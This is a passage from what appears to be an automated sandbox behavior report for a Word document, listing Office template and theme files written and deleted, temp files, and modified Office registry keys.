  1162. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM04033919[[fn=Circuit]].thmx",
  1163. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9CBB.tmp\\Content.inf",
  1164. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA2A9.tmp\\content.inf",
  1165. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA2A9.tmp\\Vapor_Trail.thmx",
  1166. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM04033925[[fn=Droplet]].thmx",
  1167. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM04033929[[fn=Slate]].thmx",
  1168. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM04033921[[fn=Damask]].thmx",
  1169. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM10001104[[fn=Feathered]].thmx",
  1170. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM04033927[[fn=Main Event]].thmx",
  1171. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457485[[fn=Mesh]].thmx",
  1172. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM04033937[[fn=Vapor Trail]].thmx",
  1173. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA47F.tmp\\Insight design set.dotx",
  1174. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA47F.tmp\\Content.inf",
  1175. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Building Blocks\\1033\\TM03998159[[fn=Insight]].dotx"
  1176. ]
  1177.  
  1178. [*] Deleted Files: [
  1179. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab1786.tmp",
  1180. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar1787.tmp",
  1181. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Schemas\\MS Word_restart.xml",
  1182. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Word\\STARTUP\\",
  1183. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab2443.tmp",
  1184. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar2444.tmp",
  1185. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD46E4.tmp",
  1186. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD46E3.tmp",
  1187. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD54C1.tmp",
  1188. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5648.tmp",
  1189. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5C73.tmp",
  1190. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5CA4.tmp",
  1191. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5C94.tmp",
  1192. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD663D.tmp",
  1193. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD637B.tmp",
  1194. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD663E.tmp",
  1195. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD663C.tmp",
  1196. "C:\\Users\\user\\AppData\\Local\\Temp\\~$trust.doc",
  1197. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD6814.tmp",
  1198. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD637C.tmp",
  1199. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD68A2.tmp",
  1200. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD68B3.tmp",
  1201. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD6913.tmp",
  1202. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD6A10.tmp",
  1203. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD68B2.tmp",
  1204. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD6902.tmp",
  1205. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD6914.tmp",
  1206. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD6C15.tmp",
  1207. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD69FF.tmp",
  1208. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD6FC0.tmp",
  1209. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD6DDB.tmp",
  1210. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD74A3.tmp",
  1211. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD74C3.tmp",
  1212. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD762E.tmp",
  1213. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD7542.tmp",
  1214. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD7532.tmp",
  1215. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD7758.tmp",
  1216. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD7A28.tmp",
  1217. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD795C.tmp",
  1218. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD7C9A.tmp",
  1219. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD7D3A.tmp",
  1220. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD7D18.tmp",
  1221. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD8086.tmp",
  1222. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD8097.tmp",
  1223. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD81C2.tmp",
  1224. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD80B7.tmp",
  1225. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD8231.tmp",
  1226. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD54C1.tmp\\turabian.xsl",
  1227. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD861C.tmp",
  1228. "C:\\Users\\user\\AppData\\Local\\Temp\\cabC140.tmp",
  1229. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD6A10.tmp\\RadialPictureList.glox",
  1230. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5C73.tmp\\CircleProcess.glox",
  1231. "C:\\Users\\user\\AppData\\Local\\Temp\\cabB82E.tmp",
  1232. "C:\\Users\\user\\AppData\\Local\\Temp\\cabBF66.tmp",
  1233. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD890B.tmp",
  1234. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD8999.tmp",
  1235. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD663C.tmp\\TabList.glox",
  1236. "C:\\Users\\user\\AppData\\Local\\Temp\\cabBC6E.tmp",
  1237. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD46E4.tmp\\chicago.xsl",
  1238. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD6902.tmp\\InterconnectedBlockProcess.glox",
  1239. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5648.tmp\\iso690nmerical.xsl",
  1240. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\~$Normal.dotm",
  1241. "C:\\Users\\user\\AppData\\Local\\Temp\\cabC141.tmp",
  1242. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5C94.tmp\\iso690.xsl",
  1243. "C:\\Users\\user\\AppData\\Local\\Temp\\cabBCA0.tmp",
  1244. "C:\\Users\\user\\AppData\\Local\\Temp\\cabBC4A.tmp",
  1245. "C:\\Users\\user\\AppData\\Local\\Temp\\cabC200.tmp",
  1246. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{F9BB4CA1-0346-4D25-B38D-6357D9938252}.tmp",
  1247. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD6914.tmp\\gostname.xsl",
  1248. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD6FC0.tmp\\chevronaccent.glox",
  1249. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD7758.tmp\\architecture.glox",
  1250. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD68B2.tmp\\HexagonRadial.glox",
  1251. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD68B3.tmp\\gosttitle.xsl",
  1252. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{062EA458-9646-4285-96B4-0EA339D50B48}.tmp",
  1253. "C:\\Users\\user\\AppData\\Local\\Temp\\cabBC5E.tmp",
  1254. "C:\\Users\\user\\AppData\\Local\\Temp\\cabB82F.tmp",
  1255. "C:\\Users\\user\\AppData\\Local\\Temp\\cabB91C.tmp",
  1256. "C:\\Users\\user\\AppData\\Local\\Temp\\cabBC5B.tmp",
  1257. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD46E3.tmp\\APASixthEditionOfficeOnline.xsl",
  1258. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD663D.tmp\\Basis.thmx",
  1259. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD6C15.tmp\\harvardanglia2008officeonline.xsl",
  1260. "C:\\Users\\user\\AppData\\Local\\Temp\\cabC053.tmp",
  1261. "C:\\Users\\user\\AppData\\Local\\Temp\\cabC781.tmp",
  1262. "C:\\Users\\user\\AppData\\Local\\Temp\\cabB8FB.tmp",
  1263. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD74C3.tmp\\PictureFrame.glox",
  1264. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD6DDB.tmp\\Text Sidebar (Annual Report Red and Black design).docx",
  1265. "C:\\Users\\user\\AppData\\Local\\Temp\\cabC1EE.tmp",
  1266. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD6913.tmp\\Parallax.thmx",
  1267. "C:\\Users\\user\\AppData\\Local\\Temp\\cabC810.tmp",
  1268. "C:\\Users\\user\\AppData\\Local\\Temp\\cabBC5C.tmp",
  1269. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD68A2.tmp\\Crop.thmx",
  1270. "C:\\Users\\user\\AppData\\Local\\Temp\\cabFB0A.tmp",
  1271. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD663E.tmp\\Banded.thmx",
  1272. "C:\\Users\\user\\AppData\\Local\\Temp\\cabC1EF.tmp",
  1273. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5CA4.tmp\\Metropolitan.thmx",
  1274. "C:\\Users\\user\\AppData\\Local\\Temp\\cabC792.tmp",
  1275. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD637C.tmp\\View.thmx",
  1276. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD74A3.tmp\\Element design set.dotx",
  1277. "C:\\Users\\user\\AppData\\Local\\Temp\\cabC53E.tmp",
  1278. "C:\\Users\\user\\AppData\\Local\\Temp\\cabBCA1.tmp",
  1279. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD6814.tmp\\gb.xsl",
  1280. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD962F.tmp",
  1281. "C:\\Users\\user\\AppData\\Local\\Temp\\cabBF65.tmp",
  1282. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{CAC7794D-6EF3-498D-9CBA-9DDEE00936E6}.tmp",
  1283. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD96BC.tmp",
  1284. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD7532.tmp\\BracketList.glox",
  1285. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD7542.tmp\\ieee2006officeonline.xsl",
  1286. "C:\\Users\\user\\AppData\\Local\\Temp\\cabBCB3.tmp",
  1287. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD762E.tmp\\sist02.xsl",
  1288. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD69FF.tmp\\ThemePictureGrid.glox",
  1289. "C:\\Users\\user\\AppData\\Local\\Temp\\cabBCB4.tmp",
  1290. "C:\\Users\\user\\AppData\\Local\\Temp\\cabBC6F.tmp",
  1291. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD8086.tmp\\pictureorgchart.glox",
  1292. "C:\\Users\\user\\AppData\\Local\\Temp\\cabBC5D.tmp",
  1293. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD637B.tmp\\Badge.thmx",
  1294. "C:\\Users\\user\\AppData\\Local\\Temp\\cabFA5E.tmp",
  1295. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD7C9A.tmp\\ThemePictureAccent.glox",
  1296. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD81F2.tmp\\Dividend.thmx",
  1297. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD80B7.tmp\\TabbedArc.glox",
  1298. "C:\\Users\\user\\AppData\\Local\\Temp\\cabBC9F.tmp",
  1299. "C:\\Users\\user\\AppData\\Local\\Temp\\cabC9D6.tmp",
  1300. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD7A28.tmp\\Headlines.thmx",
  1301. "C:\\Users\\user\\AppData\\Local\\Temp\\cabC054.tmp",
  1302. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD7D3A.tmp\\mlaseventheditionofficeonline.xsl",
  1303. "C:\\Users\\user\\AppData\\Local\\Temp\\cab1686.tmp",
  1304. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD795C.tmp\\Berlin.thmx",
  1305. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD8231.tmp\\ThemePictureAlternatingAccent.glox",
  1306. "C:\\Users\\user\\AppData\\Local\\Temp\\cabBC49.tmp",
  1307. "C:\\Users\\user\\AppData\\Local\\Temp\\cabBCA2.tmp",
  1308. "C:\\Users\\user\\AppData\\Local\\Temp\\cab81B.tmp",
  1309. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD8999.tmp\\Equations.dotx",
  1310. "C:\\Users\\user\\AppData\\Local\\Temp\\cabBF77.tmp",
  1311. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9C2D.tmp",
  1312. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD890B.tmp\\ConvergingText.glox",
  1313. "C:\\Users\\user\\AppData\\Local\\Temp\\cabA580.tmp",
  1314. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9CBB.tmp",
  1315. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD861C.tmp\\Frame.thmx",
  1316. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9D87.tmp",
  1317. "C:\\Users\\user\\AppData\\Local\\Temp\\cabC2FB.tmp",
  1318. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD7D18.tmp\\Savon.thmx",
  1319. "C:\\Users\\user\\AppData\\Local\\Temp\\cab1CEF.tmp",
  1320. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD81C2.tmp\\Quotable.thmx",
  1321. "C:\\Users\\user\\AppData\\Local\\Temp\\cab11A2.tmp",
  1322. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA047.tmp",
  1323. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD8097.tmp\\Wood_Type.thmx",
  1324. "C:\\Users\\user\\AppData\\Local\\Temp\\cabED8B.tmp",
  1325. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD8F47.tmp\\Circuit.thmx",
  1326. "C:\\Users\\user\\AppData\\Local\\Temp\\cab11B2.tmp",
  1327. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA2A9.tmp",
  1328. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD962F.tmp\\Droplet.thmx",
  1329. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9C2D.tmp\\Slate.thmx",
  1330. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD96BC.tmp\\Damask.thmx",
  1331. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9CBB.tmp\\Feathered.thmx",
  1332. "C:\\Users\\user\\AppData\\Local\\Temp\\cab2A7F.tmp",
  1333. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9D87.tmp\\Main_Event.thmx",
  1334. "C:\\Users\\user\\AppData\\Local\\Temp\\cab46E5.tmp",
  1335. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA047.tmp\\Mesh.thmx",
  1336. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA2A9.tmp\\Vapor_Trail.thmx",
  1337. "C:\\Users\\user\\AppData\\Local\\Temp\\cab7D39.tmp",
  1338. "C:\\Users\\user\\AppData\\Local\\Temp\\cab2D8D.tmp",
  1339. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA47F.tmp",
  1340. "C:\\Users\\user\\AppData\\Local\\Temp\\cab83D9.tmp",
  1341. "C:\\Users\\user\\AppData\\Local\\Temp\\cab831D.tmp",
  1342. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8F96.tmp",
  1343. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA47F.tmp\\Insight design set.dotx",
  1344. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9C1C.tmp",
  1345. "C:\\Users\\user\\AppData\\Local\\Temp\\CVR116B.tmp.cvr"
  1346. ]
  1347.  
  1348. [*] Modified Registry Keys: [
  1349. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\StartupItems\\90v",
  1350. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Roaming\\RoamingConfigurableSettings",
  1351. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Roaming\\RoamingLastSyncTime",
  1352. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Roaming\\RoamingLastWriteTime",
  1353. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ReviewCycle",
  1354. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ReviewCycle\\ReviewToken",
  1355. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\CacheReady",
  1356. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastRequest",
  1357. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\DocumentRecovery",
  1358. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\DocumentRecovery\\F2A7D4",
  1359. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\DocumentRecovery\\F2A7D4\\F2A7D4",
  1360. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\Common\\Cloud Storage",
  1361. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ForceCacheRefresh",
  1362. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OnceSucceeded",
  1363. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastUpdate",
  1364. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\NextUpdate",
  1365. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT",
  1366. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Capabilities",
  1367. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ConnectMechanism",
  1368. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\IsManaged",
  1369. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\IsRemovable",
  1370. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ServiceOwner",
  1371. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\SortOrder",
  1372. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\SupportsMultiple",
  1373. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\CapabilitiesMetadata",
  1374. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Description",
  1375. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Name",
  1376. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ServiceId",
  1377. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ServiceUrl",
  1378. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Metadata",
  1379. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Metadata\\KeyTip",
  1380. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Metadata\\Type",
  1381. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails",
  1382. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails\\Url16x16",
  1383. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails\\Url32x32",
  1384. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails\\Url48x48",
  1385. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP",
  1386. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Capabilities",
  1387. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ConnectMechanism",
  1388. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\IsManaged",
  1389. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\IsRemovable",
  1390. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ServiceOwner",
  1391. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\SortOrder",
  1392. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\SupportsMultiple",
  1393. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\CapabilitiesMetadata",
  1394. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Description",
  1395. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Name",
  1396. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ServiceId",
  1397. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ServiceUrl",
  1398. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Metadata",
  1399. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Metadata\\KeyTip",
  1400. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Metadata\\Type",
  1401. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails",
  1402. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails\\Url16x16",
  1403. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails\\Url32x32",
  1404. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails\\Url48x48",
  1405. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT",
  1406. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Capabilities",
  1407. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ConnectMechanism",
  1408. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\IsManaged",
  1409. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\IsRemovable",
  1410. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ServiceOwner",
  1411. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\SortOrder",
  1412. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\SupportsMultiple",
  1413. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\CapabilitiesMetadata",
  1414. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Description",
  1415. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Name",
  1416. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ServiceId",
  1417. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ServiceUrl",
  1418. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Metadata",
  1419. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Metadata\\KeyTip",
